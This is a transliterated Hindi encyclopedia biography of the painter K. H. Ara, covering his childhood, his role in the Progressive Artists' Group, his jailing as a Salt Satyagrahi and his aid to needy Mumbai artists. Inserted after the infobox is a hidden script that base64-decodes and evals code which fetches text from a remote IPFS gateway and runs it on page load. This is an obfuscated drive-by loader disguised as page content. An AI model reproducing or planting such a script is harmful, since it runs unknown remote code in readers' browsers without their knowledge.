के. एच. आरा
ke. ech. ara
| |
| poora nam | krishnaji havalaji ara |
| janm | 16 aprॅl, 1913 |
| janm bhoomi | bolaram, haidarabad, aandhr pradesh |
| mrityu | 30 joon, 1985 |
| mrityu sthan | mumbee, maharashtr |
| karm bhoomi | bharat |
| karm-kshetr | chitrakari |
| prasiddhi | bharatiy chitrakar |
| nagarikata | bharatiy |
| any janakari | 1950 evan 1960 ke dashak mean ke. ech. ara ne abhootapoorv khyati arjit ki, lekin bad ke varshoan mean unhean vah khyati prapt nahian ho saki jo inake sathi kalakaroan jaise sooja, raza aur husain ko prapt huee. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>krishnaji havalaji ara (aangrezi: Krishnaji Howlaji Ara, janm- 16 aprॅl, 1913; mrityu- 30 joon, 1985) bharat ke prasiddh chitrakar the. jivan ki anek vishamataoan se joojhate hue ke. ech. ara nean muanbee ke kalakaroan ke bich apani achchhi pahachan bana li thi. 1950 evan 1960 ke dashak mean unhoanne abhootapoorv khyati arjit ki lekin bad ke varshoan mean unhe vah khyati prapt nahian ho saki, jo inake sathi kalakaroan, jaise- sooja, raza aur husain ko prapt huee. isaka ek b da karan yah bhi tha ki n to ke. ech. ara ne apane chitroan ko adhik mooly par becha aur n hi bajar ki badalati jarooratoan ke hisab se apane ap ko badala. ulte apani kala par dhyan dene ke bajay, un kalakaroan par dhyan dena shuroo kar diya jo muanbee mean kismat azamane ke lie abhi idhar-udhar dhakke kha rahe the.
parichay
krishnaji havalaji ara ka janm 16 aprail, 1913 mean bolaram (haidarabad), aandhr pradesh mean hua tha. tin varsh ki ayu mean unaki mata ka dehant ho gaya, sat varsh ki ayu mean ve bambee a gaye aur unhoanne apane jivan ki shurooat kar–klinar ke vyavasay se ki. ve ek japani kanpani mean kar klinar ka kam karate the. 'parl harbar' par akraman ki aitihasik ghatana ke bad unaka japani malik ghar ko sevak ke bharose chho d kar lapata ho gaya. sanyog se mile hue us ghar ka vah sarvent kvartar jivan paryant unaka kala–kaksh (stoodiyo) bana raha.[1]
ke. ech. ara sv shikshit kalakar the aur unaki kala ka vishay nagnachitr achal chitr aur manav akritiyaan rahe. taims aph iandiya ke kala alochak roodi van leden ne unaki kala ko samajha, saraha aur protsahit kiya. ara ki pahali ekal pradarshani 1942 mean chetana restorent mean huyi. 1944 mean unhean rajyapal ka kala puraskar mila.
progresiv art grup ke sansthapak sadasy
ke. ech. ara progresiv art grup ke sansthapak sadasyoan mean se ek the aur is dal ke sadasyoan ke sath unhoanne kee kala pradarshaniyoan mean hissa liya. 1952 mean unhean apani kalakriti 'do nyayamoorti' ke liye bambe art sosayati ka svarn padak mila. ve bambe art sosayati ki karyakarini ke sadasy ke pad par rahe aur lalit kala akadami ke chunavoan v nirnayak samiti mean mahatvapoorn bhoomika nibhate rahe.
kala yatra
ke. ech. ara ki kala yatra prakriti ke adhyayan se praranbh huyi thi. unake praranbhik chitroan mean bambee ke upanagariy vatavaran ki chhap dekhi ja sakati hai. dhire dhire isamean bangal shaili ki chhavi ubhari aur 40 v 50 ke dashak ke achal chitran mean shane aur matis ka prabhav bhi parilakshit hota hai. ve apani shaili mean adhunik bhi the aur apani tarah ke paranparavadi bhi. unaka yug tail chitroan ka yug tha lekin unhoanne jal rangoan aur gocha madhyam ko hi adhikatar apanaya. bad mean ve tail chitran ki aur unmukh hue.[1]
namak satyagrahi
namak satyagrahi ke roop mean ke. ech. ara ne svatantrata andolan mean bhag liya aur paanch mahine ki jel bhugati thi. deshaprem ki yah bhavana bad mean ek vishesh kalakriti ki prerana bani, jisamean unhoanne ek vishalakay kainavas par svatantrata divas manati huyi ullasapoorn bharatiy janata ka akarshak chitran kiya.
khyati
1950 evan 1960 ke dashak mean ke. ech. ara ne abhootapoorv khyati arjit ki, lekin bad ke varshoan mean unhean vah khyati prapt nahian ho saki jo inake sathi kalakaroan jaise sooja, raza aur husain ko prapt huee. isaka ek b da karan yah bhi tha ki n to inhoanne apane chitroan ko adhik mooly par becha aur n hi bajar ki badalati jarooratoan ke hisab se apane ap ko badala. ulte apani kala par dhyan dene ke bajay, un kalakaroan par dhyan dena shuroo kar diya jo muanbee mean kismat azamane ke lie abhi idhar-udhar dhakke kha rahe the.[2]
sangharshashil kalakaroan ke sathi
ke. ech. ara ka dhyan bajar se adhik un sangharshashil kalakaroan ki taraf tha jo pratibhavan hone ke sath-sath abhavoan se grast the athava apani pradarshani kar sakane ki sthiti mean nahian the. aise kalakaroan ki madad ke lie ke. ech. ara ne muanbee ke ‘artists seantar’ mean apana samay dena aranbh kar diya. yah ‘artists seantar’ ru di v aaun liden dvara sthapit ek ‘artists aid phand seantar’ (1950) tha jo bad mean ‘artists aid seantar’ ke nam se vikhyat hua tatha jise vartaman mean ‘artists seantar’ ke nam se jana jata hai. yahaan ye jarooratamand kalakaroan ko chinhit karate aur unaki har sanbhav madad karate. dhire-dhire ara ne apane chitroan ka pradarshan bhi bahut kam kar diya, ye apana adhikaansh samay yahian vyatit kiya karate. jaroorat p dati to vyaktigat taur par kalakaroan ki arthik madad karate, bahut bar apani jama pooanji mean se bhi kalakaroan ki madad karane se pichhe nahian hatate the.
sarvahara varg se ke. ech. ara ko vishesh lagav tha. jivan ki vishamatam paristhitiyoan se roobaroo hokar ke. ech. ara ne jana tha ki- lachari, majaboori aur mufalisi kis kadar adami ko to d deti hai. jab rang bharane tak ke paise n ho to umda kalakaroan ke sapanoan ki tasvirean bhi aksar berang rah jati haian. bilkul aise, jaise kisi daridr ko apani aulad ko, bina khilae-pilae bahalakar sulana p data ho. is dard ko n ap mahasoos kar sakate haian aur n maian, yah dard sirf vah mahasoos kar sakata hai jo is paristhiti se guzara ho. un tasviroan se bhi mukhatib ho sakate haian jinhone yah yatana jheli hai basharte ap unaki zaban samajh paean. ke. ech. ara yah zaban bakhoobi samajhate the. atah tasvir dekhakar hi kee bar kalakar ki dayaniy sthiti ka aandaja laga lete the, akhir unhoanne is daur ki ek lanbi pari kheli thi aur isi karan vo zarooratamand kalakaroan ka sahara bane.
avivahit
‘artists seantar’ ke sachiv pad par rahate hue ke. ech. ara ne yah kary poori nishtha se kiya. kintu is seantar ki kuchh apani simae thian. atah vyaktigat roop se bhi inhoanne zarooratamand kalakaroan ki har sanbhav madad ki. apana jivan seva-bhav se vyatit karane vale ke. ech. ara ne ajivan vivah nahian kiya jisaka ek karan sanbhavatah yah bhi tha ki shayad vivah uparaant ye kalakaroan ki is tarah se madad n kar pate jaisa ki ye karana chahate the. samaj kalyan evan deshabhakti ki bhavana unamean koot-koot kar bhari thi. apane adhyayan kal mean inhoanne namak satyagrah mean bhag bhi liya tha jisake lie inhean paanch mahine jel mean bhi katane p de the. yahi nahian aktoobar-navanbar 1962 mean bharat aur chin ke madhy hue yuddh ke bad inhoanne 1963 mean ‘rashtriy raksha kosh’ ki arthik sahayata ke lie apane chitroan ki ek ekal pradarshani b aaumbe ki ‘roop art gailari’ mean ayojit ki.[2]
mrityu
apane bad ke dinoan mean ke. ech. ara ka adhikatar samay artist seantar mean vyatit hua. 30 joon, 1985 ko mumbee mean unaka dehaant hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 krishnaji hauvalaji ara (hiandi) abhivyakti-hindi.org. abhigaman tithi: 07 aktoobar, 2021.
- ↑ 2.0 2.1 doosaroan ki vyatha samajhane vala chitrakar (hiandi) readerblogs.navbharattimes.indiatimes.com. abhigaman tithi: 07 aktoobar, 2021.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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